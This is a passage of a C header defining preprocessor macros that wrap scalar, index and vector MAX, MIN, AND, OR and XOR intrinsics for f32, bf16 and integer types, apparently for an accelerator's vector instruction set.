v_i32_max_v_v_vb(a, b, i, p, o) v_i32_max_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_max_v_v_vb(a, b, i, p, o) v_u32_max_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_max_v_v_vb(a, b, i, p, o) v_i16_max_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_max_v_v_vb(a, b, i, p, o) v_u16_max_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_max_v_v_vb(a, b, i, p, o) v_i8_max_vb(a, b, 0, i, p, o)\n#define v_u8_max_v_v_vb(a, b, i, p, o) v_u8_max_vb(a, b, 0, i, p, o)\n\n#define v_f32_max_v_v_b(a, b, i, p, o) v_f32_max_b(a, b, 0, i, p, o)\n#define v_bf16_max_v_v_b(a, b, i, p, o) v_bf16_max_b(a, b, 0, i, p, o)\n#define v_i32_max_v_v_b(a, b, i, p, o) v_i32_max_b(a, b, 0, i, p, o)\n#define v_u32_max_v_v_b(a, b, i, p, o) v_u32_max_b(a, b, 0, i, p, o)\n#define v_i16_max_v_v_b(a, b, i, p, o) v_i16_max_b(a, b, 0, i, p, o)\n#define v_u16_max_v_v_b(a, b, i, p, o) v_u16_max_b(a, b, 0, i, p, o)\n#define v_i8_max_v_v_b(a, b, i, p, o) v_i8_max_b(a, b, 0, i, p, o)\n#define v_u8_max_v_v_b(a, b, i, p, o) v_u8_max_b(a, b, 0, i, p, o)\n\n#define v_f32_max_v_s_vb(a, b, i, p, o) v_f32_max_v_v_vb(a, b, i, p, o)\n#define v_bf16_max_v_s_vb(a, b, i, p, o) v_bf16_max_v_v_vb(a, b, i, p, o)\n#define v_i32_max_v_s_vb(a, b, i, p, o) v_i32_max_v_v_vb(a, b, i, p, o)\n#define v_u32_max_v_s_vb(a, b, i, p, o) v_u32_max_v_v_vb(a, b, i, p, o)\n#define v_i16_max_v_s_vb(a, b, i, p, o) v_i16_max_v_v_vb(a, b, i, p, o)\n#define v_u16_max_v_s_vb(a, b, i, p, o) v_u16_max_v_v_vb(a, b, i, p, o)\n#define v_i8_max_v_s_vb(a, b, i, p, o) v_i8_max_v_v_vb(a, b, i, p, o)\n#define v_u8_max_v_s_vb(a, b, i, p, o) v_u8_max_v_v_vb(a, b, i, p, o)\n\n#define v_f32_max_v_s_b(a, b, i, p, o) v_f32_max_v_v_b(a, b, i, p, o)\n#define v_bf16_max_v_s_b(a, b, i, p, o) v_bf16_max_v_v_b(a, b, i, p, o)\n#define v_i32_max_v_s_b(a, b, i, p, o) v_i32_max_v_v_b(a, b, i, p, o)\n#define v_u32_max_v_s_b(a, b, i, p, o) v_u32_max_v_v_b(a, b, i, p, o)\n#define v_i16_max_v_s_b(a, b, i, p, o) v_i16_max_v_v_b(a, b, i, p, o)\n#define v_u16_max_v_s_b(a, b, i, p, o) v_u16_max_v_v_b(a, b, i, p, o)\n#define v_i8_max_v_s_b(a, b, i, p, o) v_i8_max_v_v_b(a, b, i, p, o)\n#define v_u8_max_v_s_b(a, b, i, p, o) v_u8_max_v_v_b(a, b, i, p, o)\n\n#define v_f32_max_v_v(a, b) v_f32_max_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_max_v_v(a, b) v_bf16_max_v_v_b(a, b, 0, 1, 0)\n#define v_i32_max_v_v(a, b) v_i32_max_v_v_b(a, b, 0, 1, 0)\n#define v_u32_max_v_v(a, b) v_u32_max_v_v_b(a, b, 0, 1, 0)\n#define v_i16_max_v_v(a, b) v_i16_max_v_v_b(a, b, 0, 1, 0)\n#define v_u16_max_v_v(a, b) v_u16_max_v_v_b(a, b, 0, 1, 0)\n#define v_i8_max_v_v(a, b) v_i8_max_v_v_b(a, b, 0, 1, 0)\n#define v_u8_max_v_v(a, b) v_u8_max_v_v_b(a, b, 0, 1, 0)\n\n#define v_f32_max_v_s(a, b) v_f32_max_v_v(a, b)\n#define v_bf16_max_v_s(a, b) v_bf16_max_v_v(a, b)\n#define v_i32_max_v_s(a, b) v_i32_max_v_v(a, b)\n#define v_u32_max_v_s(a, b) v_u32_max_v_v(a, b)\n#define v_i16_max_v_s(a, b) v_i16_max_v_v(a, b)\n#define v_u16_max_v_s(a, b) v_u16_max_v_v(a, b)\n#define v_i8_max_v_s(a, b) v_i8_max_v_v(a, b)\n#define v_u8_max_v_s(a, b) v_u8_max_v_v(a, b)\n\n\n// MIN\n\n#define s_f32_min_s_s_b(a, b, i, p, o) s_f32_min(a, b, 0, i, p, o)\n#define s_bf16_min_s_s_b(a, b, i, p, o) s_bf16_min(a, b, 0, i, p, o)\n#define s_i32_min_s_s_b(a, b, i, p, o) s_i32_min(a, b, 0, i, p, o)\n#define s_u32_min_s_s_b(a, b, i, p, o) s_u32_min(a, b, 0, i, p, o)\n#define s_i16_min_s_s_b(a, b, i, p, o) s_i16_min(a, b, 0, i, p, o)\n#define s_u16_min_s_s_b(a, b, i, p, o) s_u16_min(a, b, 0, i, p, o)\n#define s_i8_min_s_s_b(a, b, i, p, o) s_i8_min(a, b, 0, i, p, o)\n#define s_u8_min_s_s_b(a, b, i, p, o) s_u8_min(a, b, 0, i, p, o)\n\n#define s_f32_min_s_s(a, b) s_f32_min_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_min_s_s(a, b) s_bf16_min_s_s_b(a, b, 0, 1, 0)\n#define s_i32_min_s_s(a, b) s_i32_min_s_s_b(a, b, 0, 1, 0)\n#define s_u32_min_s_s(a, b) s_u32_min_s_s_b(a, b, 0, 1, 0)\n#define s_i16_min_s_s(a, b) s_i16_min_s_s_b(a, b, 0, 1, 0)\n#define s_u16_min_s_s(a, b) s_u16_min_s_s_b(a, b, 0, 1, 0)\n#define s_i8_min_s_s(a, b) s_i8_min_s_s_b(a, b, 0, 1, 0)\n#define s_u8_min_s_s(a, b) s_u8_min_s_s_b(a, b, 0, 1, 0)\n\n#define i_i32_min_i_i_b(a, b, i, m, p, o) i_i32_min(a, b, m, 0, i, p, o)\n#define i_i32_min_s_i_b(a, b, i, m, p, o) i_i32_min_i_i_b(a, b, i, m, p, o)\n#define i_i32_min_i_i(a, b, i, m) i_i32_min_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_min_s_i(a, b, i, m) i_i32_min_i_i(a, b, i, m)\n\n#define v_f32_min_v_v_vb(a, b, i, p, o) v_f32_min_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_min_v_v_vb(a, b, i, p, o) v_bf16_min_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_min_v_v_vb(a, b, i, p, o) v_i32_min_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_min_v_v_vb(a, b, i, p, o) v_u32_min_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_min_v_v_vb(a, b, i, p, o) v_i16_min_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_min_v_v_vb(a, b, i, p, o) v_u16_min_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_min_v_v_vb(a, b, i, p, o) v_i8_min_vb(a, b, 0, i, p, o)\n#define v_u8_min_v_v_vb(a, b, i, p, o) v_u8_min_vb(a, b, 0, i, p, o)\n\n#define v_f32_min_v_v_b(a, b, i, p, o) v_f32_min_b(a, b, 0, i, p, o)\n#define v_bf16_min_v_v_b(a, b, i, p, o) v_bf16_min_b(a, b, 0, i, p, o)\n#define v_i32_min_v_v_b(a, b, i, p, o) v_i32_min_b(a, b, 0, i, p, o)\n#define v_u32_min_v_v_b(a, b, i, p, o) v_u32_min_b(a, b, 0, i, p, o)\n#define v_i16_min_v_v_b(a, b, i, p, o) v_i16_min_b(a, b, 0, i, p, o)\n#define v_u16_min_v_v_b(a, b, i, p, o) v_u16_min_b(a, b, 0, i, p, o)\n#define v_i8_min_v_v_b(a, b, i, p, o) v_i8_min_b(a, b, 0, i, p, o)\n#define v_u8_min_v_v_b(a, b, i, p, o) v_u8_min_b(a, b, 0, i, p, o)\n\n#define v_f32_min_v_s_vb(a, b, i, p, o) v_f32_min_v_v_vb(a, b, i, p, o)\n#define v_bf16_min_v_s_vb(a, b, i, p, o) v_bf16_min_v_v_vb(a, b, i, p, o)\n#define v_i32_min_v_s_vb(a, b, i, p, o) v_i32_min_v_v_vb(a, b, i, p, o)\n#define v_u32_min_v_s_vb(a, b, i, p, o) v_u32_min_v_v_vb(a, b, i, p, o)\n#define v_i16_min_v_s_vb(a, b, i, p, o) v_i16_min_v_v_vb(a, b, i, p, o)\n#define v_u16_min_v_s_vb(a, b, i, p, o) v_u16_min_v_v_vb(a, b, i, p, o)\n#define v_i8_min_v_s_vb(a, b, i, p, o) v_i8_min_v_v_vb(a, b, i, p, o)\n#define v_u8_min_v_s_vb(a, b, i, p, o) v_u8_min_v_v_vb(a, b, i, p, o)\n\n#define v_f32_min_v_s_b(a, b, i, p, o) v_f32_min_v_v_b(a, b, i, p, o)\n#define v_bf16_min_v_s_b(a, b, i, p, o) v_bf16_min_v_v_b(a, b, i, p, o)\n#define v_i32_min_v_s_b(a, b, i, p, o) v_i32_min_v_v_b(a, b, i, p, o)\n#define v_u32_min_v_s_b(a, b, i, p, o) v_u32_min_v_v_b(a, b, i, p, o)\n#define v_i16_min_v_s_b(a, b, i, p, o) v_i16_min_v_v_b(a, b, i, p, o)\n#define v_u16_min_v_s_b(a, b, i, p, o) v_u16_min_v_v_b(a, b, i, p, o)\n#define v_i8_min_v_s_b(a, b, i, p, o) v_i8_min_v_v_b(a, b, i, p, o)\n#define v_u8_min_v_s_b(a, b, i, p, o) v_u8_min_v_v_b(a, b, i, p, o)\n\n#define v_f32_min_v_v(a, b) v_f32_min_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_min_v_v(a, b) v_bf16_min_v_v_b(a, b, 0, 1, 0)\n#define v_i32_min_v_v(a, b) v_i32_min_v_v_b(a, b, 0, 1, 0)\n#define v_u32_min_v_v(a, b) v_u32_min_v_v_b(a, b, 0, 1, 0)\n#define v_i16_min_v_v(a, b) v_i16_min_v_v_b(a, b, 0, 1, 0)\n#define v_u16_min_v_v(a, b) v_u16_min_v_v_b(a, b, 0, 1, 0)\n#define v_i8_min_v_v(a, b) v_i8_min_v_v_b(a, b, 0, 1, 0)\n#define v_u8_min_v_v(a, b) v_u8_min_v_v_b(a, b, 0, 1, 0)\n\n#define v_f32_min_v_s(a, b) v_f32_min_v_v(a, b)\n#define v_bf16_min_v_s(a, b) v_bf16_min_v_v(a, b)\n#define v_i32_min_v_s(a, b) v_i32_min_v_v(a, b)\n#define v_u32_min_v_s(a, b) v_u32_min_v_v(a, b)\n#define v_i16_min_v_s(a, b) v_i16_min_v_v(a, b)\n#define v_u16_min_v_s(a, b) v_u16_min_v_v(a, b)\n#define v_i8_min_v_s(a, b) v_i8_min_v_v(a, b)\n#define v_u8_min_v_s(a, b) v_u8_min_v_v(a, b)\n\n// AND\n\n#define s_f32_and_s_s_b(a, b, i, p, o) s_f32_and(a, b, 0, i, p, o)\n#define s_bf16_and_s_s_b(a, b, i, p, o) s_bf16_and(a, b, 0, i, p, o)\n#define s_i32_and_s_s_b(a, b, i, p, o) s_i32_and(a, b, 0, i, p, o)\n#define s_u32_and_s_s_b(a, b, i, p, o) s_u32_and(a, b, 0, i, p, o)\n#define s_i16_and_s_s_b(a, b, i, p, o) s_i16_and(a, b, 0, i, p, o)\n#define s_u16_and_s_s_b(a, b, i, p, o) s_u16_and(a, b, 0, i, p, o)\n#define s_i8_and_s_s_b(a, b, i, p, o) s_i8_and(a, b, 0, i, p, o)\n#define s_u8_and_s_s_b(a, b, i, p, o) s_u8_and(a, b, 0, i, p, o)\n#define b_b_and_b_b_b(a, b, i, p, o) s_i1_and(a, b, 0, i, p, o)\n\n\n#define s_f32_and_s_s(a, b) s_f32_and_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_and_s_s(a, b) s_bf16_and_s_s_b(a, b, 0, 1, 0)\n#define s_i32_and_s_s(a, b) s_i32_and_s_s_b(a, b, 0, 1, 0)\n#define s_u32_and_s_s(a, b) s_u32_and_s_s_b(a, b, 0, 1, 0)\n#define s_i16_and_s_s(a, b) s_i16_and_s_s_b(a, b, 0, 1, 0)\n#define s_u16_and_s_s(a, b) s_u16_and_s_s_b(a, b, 0, 1, 0)\n#define s_i8_and_s_s(a, b) s_i8_and_s_s_b(a, b, 0, 1, 0)\n#define s_u8_and_s_s(a, b) s_u8_and_s_s_b(a, b, 0, 1, 0)\n#define b_b_and_b_b(a, b) b_b_and_b_b_b(a, b, 0, 1, 0)\n\n#define i_i32_and_i_i_b(a, b, i, m, p, o) i_i32_and(a, b, m, 0, i, p, o)\n#define i_i32_and_s_i_b(a, b, i, m, p, o) i_i32_and_i_i_b(a, b, i, m, p, o)\n#define i_i32_and_i_i(a, b, i, m) i_i32_and_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_and_s_i(a, b, i, m) i_i32_and_i_i(a, b, i, m)\n\n#define v_f32_and_v_v_vb(a, b, i, p, o) v_f32_and_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_and_v_v_vb(a, b, i, p, o) v_bf16_and_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_and_v_v_vb(a, b, i, p, o) v_i32_and_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_and_v_v_vb(a, b, i, p, o) v_u32_and_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_and_v_v_vb(a, b, i, p, o) v_i16_and_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_and_v_v_vb(a, b, i, p, o) v_u16_and_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_and_v_v_vb(a, b, i, p, o) v_i8_and_vb(a, b, 0, i, p, o)\n#define v_u8_and_v_v_vb(a, b, i, p, o) v_u8_and_vb(a, b, 0, i, p, o)\n#define bv_b_and_bv_bv_vb(a, b, i, p, o) v_i1_and_vb(a, b, 0, i, p, o)\n\n#define v_f32_and_v_v_b(a, b, i, p, o) v_f32_and_b(a, b, 0, i, p, o)\n#define v_bf16_and_v_v_b(a, b, i, p, o) v_bf16_and_b(a, b, 0, i, p, o)\n#define v_i32_and_v_v_b(a, b, i, p, o) v_i32_and_b(a, b, 0, i, p, o)\n#define v_u32_and_v_v_b(a, b, i, p, o) v_u32_and_b(a, b, 0, i, p, o)\n#define v_i16_and_v_v_b(a, b, i, p, o) v_i16_and_b(a, b, 0, i, p, o)\n#define v_u16_and_v_v_b(a, b, i, p, o) v_u16_and_b(a, b, 0, i, p, o)\n#define v_i8_and_v_v_b(a, b, i, p, o) v_i8_and_b(a, b, 0, i, p, o)\n#define v_u8_and_v_v_b(a, b, i, p, o) v_u8_and_b(a, b, 0, i, p, o)\n#define bv_b_and_bv_bv_b(a, b, i, p, o) v_i1_and_b(a, b, 0, i, p, o)\n\n#define v_f32_and_v_s_vb(a, b, i, p, o) v_f32_and_v_v_vb(a, b, i, p, o)\n#define v_bf16_and_v_s_vb(a, b, i, p, o) v_bf16_and_v_v_vb(a, b, i, p, o)\n#define v_i32_and_v_s_vb(a, b, i, p, o) v_i32_and_v_v_vb(a, b, i, p, o)\n#define v_u32_and_v_s_vb(a, b, i, p, o) v_u32_and_v_v_vb(a, b, i, p, o)\n#define v_i16_and_v_s_vb(a, b, i, p, o) v_i16_and_v_v_vb(a, b, i, p, o)\n#define v_u16_and_v_s_vb(a, b, i, p, o) v_u16_and_v_v_vb(a, b, i, p, o)\n#define v_i8_and_v_s_vb(a, b, i, p, o) v_i8_and_v_v_vb(a, b, i, p, o)\n#define v_u8_and_v_s_vb(a, b, i, p, o) v_u8_and_v_v_vb(a, b, i, p, o)\n\n#define v_f32_and_v_s_b(a, b, i, p, o) v_f32_and_v_v_b(a, b, i, p, o)\n#define v_bf16_and_v_s_b(a, b, i, p, o) v_bf16_and_v_v_b(a, b, i, p, o)\n#define v_i32_and_v_s_b(a, b, i, p, o) v_i32_and_v_v_b(a, b, i, p, o)\n#define v_u32_and_v_s_b(a, b, i, p, o) v_u32_and_v_v_b(a, b, i, p, o)\n#define v_i16_and_v_s_b(a, b, i, p, o) v_i16_and_v_v_b(a, b, i, p, o)\n#define v_u16_and_v_s_b(a, b, i, p, o) v_u16_and_v_v_b(a, b, i, p, o)\n#define v_i8_and_v_s_b(a, b, i, p, o) v_i8_and_v_v_b(a, b, i, p, o)\n#define v_u8_and_v_s_b(a, b, i, p, o) v_u8_and_v_v_b(a, b, i, p, o)\n\n#define v_f32_and_v_v(a, b) v_f32_and_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_and_v_v(a, b) v_bf16_and_v_v_b(a, b, 0, 1, 0)\n#define v_i32_and_v_v(a, b) v_i32_and_v_v_b(a, b, 0, 1, 0)\n#define v_u32_and_v_v(a, b) v_u32_and_v_v_b(a, b, 0, 1, 0)\n#define v_i16_and_v_v(a, b) v_i16_and_v_v_b(a, b, 0, 1, 0)\n#define v_u16_and_v_v(a, b) v_u16_and_v_v_b(a, b, 0, 1, 0)\n#define v_i8_and_v_v(a, b) v_i8_and_v_v_b(a, b, 0, 1, 0)\n#define v_u8_and_v_v(a, b) v_u8_and_v_v_b(a, b, 0, 1, 0)\n#define bv_b_and_bv_bv(a, b) bv_b_and_bv_bv_b(a, b, (bool256){0}, 1, 0)\n\n#define v_f32_and_v_s(a, b) v_f32_and_v_v(a, b)\n#define v_bf16_and_v_s(a, b) v_bf16_and_v_v(a, b)\n#define v_i32_and_v_s(a, b) v_i32_and_v_v(a, b)\n#define v_u32_and_v_s(a, b) v_u32_and_v_v(a, b)\n#define v_i16_and_v_s(a, b) v_i16_and_v_v(a, b)\n#define v_u16_and_v_s(a, b) v_u16_and_v_v(a, b)\n#define v_i8_and_v_s(a, b) v_i8_and_v_v(a, b)\n#define v_u8_and_v_s(a, b) v_u8_and_v_v(a, b)\n\n// OR\n\n#define s_f32_or_s_s_b(a, b, i, p, o) s_f32_or(a, b, 0, i, p, o)\n#define s_bf16_or_s_s_b(a, b, i, p, o) s_bf16_or(a, b, 0, i, p, o)\n#define s_i32_or_s_s_b(a, b, i, p, o) s_i32_or(a, b, 0, i, p, o)\n#define s_u32_or_s_s_b(a, b, i, p, o) s_u32_or(a, b, 0, i, p, o)\n#define s_i16_or_s_s_b(a, b, i, p, o) s_i16_or(a, b, 0, i, p, o)\n#define s_u16_or_s_s_b(a, b, i, p, o) s_u16_or(a, b, 0, i, p, o)\n#define s_i8_or_s_s_b(a, b, i, p, o) s_i8_or(a, b, 0, i, p, o)\n#define s_u8_or_s_s_b(a, b, i, p, o) s_u8_or(a, b, 0, i, p, o)\n#define b_b_or_b_b_b(a, b, i, p, o) s_i1_or(a, b, 0, i, p, o)\n\n#define s_f32_or_s_s(a, b) s_f32_or_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_or_s_s(a, b) s_bf16_or_s_s_b(a, b, 0, 1, 0)\n#define s_i32_or_s_s(a, b) s_i32_or_s_s_b(a, b, 0, 1, 0)\n#define s_u32_or_s_s(a, b) s_u32_or_s_s_b(a, b, 0, 1, 0)\n#define s_i16_or_s_s(a, b) s_i16_or_s_s_b(a, b, 0, 1, 0)\n#define s_u16_or_s_s(a, b) s_u16_or_s_s_b(a, b, 0, 1, 0)\n#define s_i8_or_s_s(a, b) s_i8_or_s_s_b(a, b, 0, 1, 0)\n#define s_u8_or_s_s(a, b) s_u8_or_s_s_b(a, b, 0, 1, 0)\n#define b_b_or_b_b(a, b) b_b_or_b_b_b(a, b, 0, 1, 0)\n\n#define i_i32_or_i_i_b(a, b, i, m, p, o) i_i32_or(a, b, m, 0, i, p, o)\n#define i_i32_or_s_i_b(a, b, i, m, p, o) i_i32_or_i_i_b(a, b, i, m, p, o)\n#define i_i32_or_i_i(a, b, i, m) i_i32_or_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_or_s_i(a, b, i, m) i_i32_or_i_i(a, b, i, m)\n\n#define v_f32_or_v_v_vb(a, b, i, p, o) v_f32_or_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_or_v_v_vb(a, b, i, p, o) v_bf16_or_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_or_v_v_vb(a, b, i, p, o) v_i32_or_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_or_v_v_vb(a, b, i, p, o) v_u32_or_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_or_v_v_vb(a, b, i, p, o) v_i16_or_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_or_v_v_vb(a, b, i, p, o) v_u16_or_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_or_v_v_vb(a, b, i, p, o) v_i8_or_vb(a, b, 0, i, p, o)\n#define v_u8_or_v_v_vb(a, b, i, p, o) v_u8_or_vb(a, b, 0, i, p, o)\n#define bv_b_or_bv_bv_vb(a, b, i, p, o) v_i1_or_vb(a, b, 0, i, p, o)\n\n#define v_f32_or_v_v_b(a, b, i, p, o) v_f32_or_b(a, b, 0, i, p, o)\n#define v_bf16_or_v_v_b(a, b, i, p, o) v_bf16_or_b(a, b, 0, i, p, o)\n#define v_i32_or_v_v_b(a, b, i, p, o) v_i32_or_b(a, b, 0, i, p, o)\n#define v_u32_or_v_v_b(a, b, i, p, o) v_u32_or_b(a, b, 0, i, p, o)\n#define v_i16_or_v_v_b(a, b, i, p, o) v_i16_or_b(a, b, 0, i, p, o)\n#define v_u16_or_v_v_b(a, b, i, p, o) v_u16_or_b(a, b, 0, i, p, o)\n#define v_i8_or_v_v_b(a, b, i, p, o) v_i8_or_b(a, b, 0, i, p, o)\n#define v_u8_or_v_v_b(a, b, i, p, o) v_u8_or_b(a, b, 0, i, p, o)\n#define bv_b_or_bv_bv_b(a, b, i, p, o) v_i1_or_b(a, b, 0, i, p, o)\n\n#define v_f32_or_v_s_vb(a, b, i, p, o) v_f32_or_v_v_vb(a, b, i, p, o)\n#define v_bf16_or_v_s_vb(a, b, i, p, o) v_bf16_or_v_v_vb(a, b, i, p, o)\n#define v_i32_or_v_s_vb(a, b, i, p, o) v_i32_or_v_v_vb(a, b, i, p, o)\n#define v_u32_or_v_s_vb(a, b, i, p, o) v_u32_or_v_v_vb(a, b, i, p, o)\n#define v_i16_or_v_s_vb(a, b, i, p, o) v_i16_or_v_v_vb(a, b, i, p, o)\n#define v_u16_or_v_s_vb(a, b, i, p, o) v_u16_or_v_v_vb(a, b, i, p, o)\n#define v_i8_or_v_s_vb(a, b, i, p, o) v_i8_or_v_v_vb(a, b, i, p, o)\n#define v_u8_or_v_s_vb(a, b, i, p, o) v_u8_or_v_v_vb(a, b, i, p, o)\n\n#define v_f32_or_v_s_b(a, b, i, p, o) v_f32_or_v_v_b(a, b, i, p, o)\n#define v_bf16_or_v_s_b(a, b, i, p, o) v_bf16_or_v_v_b(a, b, i, p, o)\n#define v_i32_or_v_s_b(a, b, i, p, o) v_i32_or_v_v_b(a, b, i, p, o)\n#define v_u32_or_v_s_b(a, b, i, p, o) v_u32_or_v_v_b(a, b, i, p, o)\n#define v_i16_or_v_s_b(a, b, i, p, o) v_i16_or_v_v_b(a, b, i, p, o)\n#define v_u16_or_v_s_b(a, b, i, p, o) v_u16_or_v_v_b(a, b, i, p, o)\n#define v_i8_or_v_s_b(a, b, i, p, o) v_i8_or_v_v_b(a, b, i, p, o)\n#define v_u8_or_v_s_b(a, b, i, p, o) v_u8_or_v_v_b(a, b, i, p, o)\n\n#define v_f32_or_v_v(a, b) v_f32_or_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_or_v_v(a, b) v_bf16_or_v_v_b(a, b, 0, 1, 0)\n#define v_i32_or_v_v(a, b) v_i32_or_v_v_b(a, b, 0, 1, 0)\n#define v_u32_or_v_v(a, b) v_u32_or_v_v_b(a, b, 0, 1, 0)\n#define v_i16_or_v_v(a, b) v_i16_or_v_v_b(a, b, 0, 1, 0)\n#define v_u16_or_v_v(a, b) v_u16_or_v_v_b(a, b, 0, 1, 0)\n#define v_i8_or_v_v(a, b) v_i8_or_v_v_b(a, b, 0, 1, 0)\n#define v_u8_or_v_v(a, b) v_u8_or_v_v_b(a, b, 0, 1, 0)\n#define bv_b_or_bv_bv(a, b) bv_b_or_bv_bv_b(a, b, (bool256){0}, 1, 0)\n\n#define v_f32_or_v_s(a, b) v_f32_or_v_v(a, b)\n#define v_bf16_or_v_s(a, b) v_bf16_or_v_v(a, b)\n#define v_i32_or_v_s(a, b) v_i32_or_v_v(a, b)\n#define v_u32_or_v_s(a, b) v_u32_or_v_v(a, b)\n#define v_i16_or_v_s(a, b) v_i16_or_v_v(a, b)\n#define v_u16_or_v_s(a, b) v_u16_or_v_v(a, b)\n#define v_i8_or_v_s(a, b) v_i8_or_v_v(a, b)\n#define v_u8_or_v_s(a, b) v_u8_or_v_v(a, b)\n\n// XOR\n\n#define s_f32_xor_s_s_b(a, b, i, p, o) s_f32_xor(a, b, 0, i, p, o)\n#define s_bf16_xor_s_s_b(a, b, i, p, o) s_bf16_xor(a, b, 0, i, p, o)\n#define s_i32_xor_s_s_b(a, b, i, p, o) s_i32_xor(a, b, 0, i, p, o)\n#define s_u32_xor_s_s_b(a, b, i, p, o) s_u32_xor(a, b, 0, i, p, o)\n#define s_i16_xor_s_s_b(a, b, i, p, o) s_i16_xor(a, b, 0, i, p, o)\n#define s_u16_xor_s_s_b(a, b, i, p, o) s_u16_xor(a, b, 0, i, p, o)\n#define s_i8_xor_s_s_b(a, b, i, p, o) s_i8_xor(a, b, 0, i, p, o)\n#define s_u8_xor_s_s_b(a, b, i, p, o) s_u8_xor(a, b, 0, i, p, o)\n#define b_b_xor_b_b_b(a, b, i, p, o) s_i1_xor(a, b, 0, i, p, o)\n\n#define s_f32_xor_s_s(a, b) s_f32_xor_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_xor_s_s(a, b) s_bf16_xor_s_s_b(a, b, 0, 1, 0)\n#define s_i32_xor_s_s(a, b) s_i32_xor_s_s_b(a, b, 0, 1, 0)\n#define s_u32_xor_s_s(a, b) s_u32_xor_s_s_b(a, b, 0, 1, 0)\n#define s_i16_xor_s_s(a, b) s_i16_xor_s_s_b(a, b, 0, 1, 0)\n#define s_u16_xor_s_s(a, b) s_u16_xor_s_s_b(a, b, 0, 1, 0)\n#define s_i8_xor_s_s(a, b) s_i8_xor_s_s_b(a, b, 0, 1, 0)\n#define s_u8_xor_s_s(a, b) s_u8_xor_s_s_b(a, b, 0, 1, 0)\n#define b_b_xor_b_b(a, b) b_b_xor_b_b_b(a, b, 0, 1, 0)\n\n#define i_i32_xor_i_i_b(a, b, i, m, p, o) i_i32_xor(a, b, m, 0, i, p, o)\n#define i_i32_xor_s_i_b(a, b, i, m, p, o) i_i32_xor_i_i_b(a, b, i, m, p, o)\n#define i_i32_xor_i_i(a, b, i, m) i_i32_xor_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_xor_s_i(a, b, i, m) i_i32_xor_i_i(a, b, i, m)\n\n#define v_f32_xor_v_v_vb(a, b, i, p, o) v_f32_xor_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_xor_v_v_vb(a, b, i, p, o) v_bf16_xor_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_xor_v_v_vb(a, b, i, p, o) v_i32_xor_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_xor_v_v_vb(a, b, i, p, o) v_u32_xor_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i16_xor_v_v_vb(a, b, i, p, o) v_i16_xor_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_xor_v_v_vb(a, b, i, p, o) v_u16_xor_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_xor_v_v_vb(a, b, i, p, o) v_i8_xor_vb(a, b, 0, i, p, o)\n#define v_u8_xor_v_v_vb(a, b, i, p, o) v_u8_xor_vb(a, b, 0, i, p, o)\n#define bv_b_xor_bv_bv_vb(a, b, i, p, o) v_i1_xor_vb(a, b, 0, i, p, o)\n\n#define v_f32_xor_v_v_b(a, b, i, p, o) v_f32_xor_b(a, b, 0, i, p, o)\n#define v_bf16_xor_v_v_b(a, b, i, p, o) v_bf16_xor_b(a, b, 0, i, p, o)\n#define v_i32_xor_v_v_b(a, b, i, p, o) v_i32_xor_b(a, b, 0, i, p, o)\n#define v_u32_xor_v_v_b(a, b, i, p, o) v_u32_xor_b(a, b, 0, i, p, o)\n#define v_i16_xor_v_v_b(a, b, i, p, o) v_i16_xor_b(a, b, 0, i, p, o)\n#define v_u16_xor_v_v_b(a, b, i, p, o) v_u16_xor_b(a, b, 0, i, p, o)\n#define v_i8_xor_v_v_b(a, b, i, p, o) v_i8_xor_b(a, b, 0, i, p, o)\n#define v_u8_xor_v_v_b(a, b, i, p, o) v_u8_xor_b(a, b, 0, i, p, o)\n#define bv_b_xor_bv_bv_b(a, b, i, p, o) v_i1_xor_b(a, b, 0, i, p, o)\n\n#define v_f32_xor_v_s_vb(a, b, i, p, o) v_f32_xor_v_v_vb(a, b, i, p, o)\n#define v_bf16_xor_v_s_vb(a, b, i, p, o) v_bf16_xor_v_v_vb(a, b, i, p, o)\n#define v_i32_xor_v_s_vb(a, b, i, p, o) v_i32_xor_v_v_vb(a, b, i, p, o)\n#define v_u32_xor_v_s_vb(a, b, i, p, o) v_u32_xor_v_v_vb(a, b, i, p, o)\n#define v_i16_xor_v_s_vb(a, b, i, p, o) v_i16_xor_v_v_vb(a, b, i, p, o)\n#define v_u16_xor_v_s_vb(a, b, i, p, o) v_u16_xor_v_v_vb(a, b, i, p, o)\n#define v_i8_xor_v_s_vb(a, b, i, p, o) v_i8_xor_v_v_vb(a, b, i, p, o)\n#define v_u8_xor_v_s_vb(a, b, i, p, o) v_u8_xor_v_v_vb(a, b, i, p, o)\n\n#define v_f32_xor_v_s_b(a, b, i, p, o) 